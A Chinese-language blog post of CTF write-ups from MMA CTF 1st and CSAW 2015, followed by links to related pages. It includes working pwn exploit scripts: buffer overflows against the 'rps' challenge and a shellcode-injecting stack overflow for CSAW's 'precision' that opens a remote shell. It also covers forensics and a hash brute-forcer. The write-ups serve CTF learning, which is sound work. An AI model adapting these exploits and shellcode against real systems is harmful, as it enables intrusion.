mma ctf 1st && csaw 2015
(很久以前做的,现在发一下)最近做了两个CTF,水平太渣,做了没几道题,挑几个自己做的记录一下。
mma ctf 1st 之 rps:
from socket import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(('milkyway.chal.mmactf.link',1641))
#s.connect(('127.0.0.1',10001))
print s.recv(1024) payload = 'a'*48 + '\x03\x00\x00\x00\x00\x00\x00\x00'+ '\n'
s.send(payload)
print s.recv(1024) rand=open("rand")#提前生成rand文件
for line in rand:
if(line.rstrip()==''):
s.send('S\n')
print s.recv(1024)
if(line.rstrip()==''):
s.send('R\n')
print s.recv(1024)
if(line.rstrip()==''):
s.send('P\n')
print s.recv(1024) print s.recv(1024)
print s.recv(1024)
rand.close()
s.close()
flag:

赛后,看了他人写的writeup,感觉比我的好多了,也学了不少。
poc1:
from pwn import *
from ctypes import * rps = 'RPS'
libc = CDLL("libc.so.6")
libc.srand(0x01010101); def getNextAnswer():
comp = libc.rand()%3
mine = (comp + 1) %3
return rps[mine]
r = remote("milkyway.chal.mmactf.link", 1641)
nama = "A" * 0x30
nama += "\x01"*4
print r.recv()
print "Sending: " + str(nama)
r.send(str(nama) + "\n")
print r.recv()
for j in range(0, 50 ):
x = getNextAnswer()
print r.recv()
print "Sending: " + x + "\n"
r.send(x + "\n")
data = r.recv()
print data
print r.recv()
r.close()
poc2:不同的思路
from pwn import *
import time
context.binary=”rps”
context.bits=64
addr1=0x00000000006010e8
addr2=0x00000000004008b4
payload=”A”*80
payload+=pack(addr1)
payload+=pack(addr2)
p=remote(“milkyway.chal.mmactf.link”,1641)
msg=p.recvuntil(‘:’)
print msg
p.sendline(payload)
msg=p.recvlines(2)
print msg
p.sendline(“I”)
msg=p.recvall()
print msg
mma ctf 1st 之 cannotberun:
拿010 editor 改了下IMAGE_DOS_HEADER的e_lfanew成员值。这个成员表明了PE文件头(IMAGE_NT_HEADERS)在PE文件中的偏移。如果这个值为0,则表示该文件是一个DOS MZ可执行文件,如果不为0,就是一个Windows的PE文件。
flag:

mma ctf 1st 之 splitted:
wireshark中follow tcp stream后,就可以发现每个包的位置了,然后就用010 editor重组一下,解压后是个psd文件,在线找了一个photoshop,两个图层,其中一个就是flag。
flag:

赛后看有人直接用 convert flag.psd flag.png ,直接就能看flag了
mma ctf 1st 之 simple_hash:
这个当时时间有点紧,算法已经弄懂,但是脚本没写出来。赛后,自己写了一个,不过比较慢,还有很大优化的空间。
算法是一个
import datetime
import itertools
import string
target = 0x1E1EAB437EEB0
mod = 0x38D7EA4C68025
alphabet = string.ascii_letters + string.digits
def crack(can):
result = ''
while(can>0):
q,r = divmod(can,577)
if r>=255:
return ''
if(chr(r) not in alphabet):
return ''
result = result + chr(r)
if len(result)>10:
return ''
can = q
return result
starttime = datetime.datetime.now()
for i in itertools.count():
if i%10000000==0:
print i
target += mod
key = crack(target)
if key != '':
print 'cool\n'
print ''.join(reversed(key))
break
endtime = datetime.datetime.now()
print (endtime - starttime).seconds
csaw pwn precision
from pwn import *
r = remote('54.173.98.115', 1259)
#r = remote('127.0.0.1',10001)
ret = r.recv(1024)[-9:-1]
print 'ret addr: %s' % ret
ret = int(ret,16)
retaddr = p32(ret) shellcode="\xeb\x1b\x5f\x31\xc0\x6a\x53\x6a\x18\x59\x49\x5b\x8a\x04\x0f"
shellcode += "\xf6\xd3\x30\xd8\x88\x04\x0f\x50\x85\xc9\x75\xef\xeb\x05\xe8"
shellcode += "\xe0\xff\xff\xff\x1c\x7f\xc5\xf9\xbe\xa3\xe4\xff\xb8\xff\xb2"
shellcode += "\xf4\x1f\x95\x4e\xfe\x25\x97\x93\x30\xb6\x39\xb2\x2c" payload = shellcode + 'a'*(0x80-58) + '\xa5\x31\x5a\x47\x55\x15\x50\x40' + 'b'*12 + retaddr r.sendline(payload)
r.interactive()
mma ctf 1st && csaw 2015的更多相关文章
- 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp
洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...
- MMA CTF 2nd 2016-greeting
目录 MMA CTF 2nd 2016-greeting 总结 题目分析 checksec 函数分析 漏洞点 知识点 利用思路 EXP 完整Exp MMA CTF 2nd 2016-greeting ...
- CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- 【原生态跨平台:ASP.NET Core 1.0(非Mono)在 Ubuntu 14.04 服务器上一对一的配置实现-篇幅1】
鸡冻人心的2016,微软高产年. build 2016后 各种干货层出不穷. 1 Win10 集成了bash ,实现了纳德拉的成诺,Microsoft Love Linux!!! 2 跨平台 ,收 ...
- Linux pwn入门教程(6)——格式化字符串漏洞
作者:Tangerine@SAINTSEC 0x00 printf函数中的漏洞 printf函数族是一个在C编程中比较常用的函数族.通常来说,我们会使用printf([格式化字符串],参数)的形式来进 ...
- Linux pwn入门教程——格式化字符串漏洞
本文作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函 ...
- CSAW CTF Qualification Round 2018 - shell->code
原题 Linked lists are great! They let you chain pieces of data together. nc pwn.chal.csaw.io 9005 链接:h ...
- COCI 2015、2016 1st round 题解(官方)
官方题解: 官方代码: Code-KARTE: #include <cstdio> #include <iostream> #include <cstring> u ...
- CSAW Quals CTF 2017-scv
目录 程序基本信息 程序漏洞 整体思路 exp脚本 内容参考 程序基本信息 64位动态链接程序,开启了栈溢出和数据段不可执行保护 程序漏洞 read函数很明显的栈溢出漏洞 整体思路 由于题目给了lib ...
随机推荐
- 走进C++程序世界------继承和派生
继承和派生 继承是面向对象编程语言的最重要方面之一,正确的使用继承可编写出设计良好,容易于维护和扩展的应用程序.下面是在其他博客中的总结: ****************************** ...
- html image -- data:image/png;base64
1, data:image/png;base64 <!DOCTYPE HTML> <html> <head> <meta http-equiv=" ...
- Object-c学习之路九(字典(NSDictionary&NSMutableDictionary))
字典的练习和使用(遍历,搜索...)(Student和Book类文件可以查看上篇博客这次不上传了.) // // main.m // NSDictionary // // Created by Wil ...
- 一些实用的CSS Media Query代码片段,个人采集
CSS3的出现让响应式Web设计变得简单,CSS3提供了强大的media queries,允许你针对不同的条件设置不同的样式,可以在不修改页面内容的情况下,为不同设备提供不同的样式效果. 以下是一些C ...
- UVA 1212 Duopoly
题目: 两个公司进行投标,竞争一些channels,每个投标可以包含多个channels,且都有一定的收益,每一个channels只能为其中的一个公司利用,同时保证一个公司给出的投标中选中的chann ...
- CSS 四个样式表格
1. 单像素边框CSS表格 这是一个很常用的表格样式. 源代码: <!-- CSS goes in the document HEAD or added to your external sty ...
- python给多个发送邮件附件,参考于《python自动化运维》
#!/usr/bin/env python #coding: utf-8 #author:luodi date:2015/02/12 #description:this is a send mail ...
- Android Broadcast Receiver注册
之前有关 Broadcast Receiver的链 动态注册 1.我们新建一个广播接受类,我们创建一个内部类让他继承BroadcastReceiver,并且重新其中当有广播来到时执行的方法onRece ...
- 总结:整理 oracle异常错误处理 .
5.1 异常处理概念 5.1.1 预定义的异常处理 5.1.2 非预定义的异常处理 5.1.3 用户自定义的异常处理 5.1.4 用户定义的异常处理 5.2 异常错误传播 5.2.1 在执行部分引发 ...
- 复习:IPC机制
一.为什么需要IPC机制 当我们开启多个进程的时候,我们有时需要和各个进程进行交互.但是进程间的交互就不能够共享对象(就是进程A中创建了一个对象,进程B中的类或者方法不能够直接使用,需要用到IPC机制 ...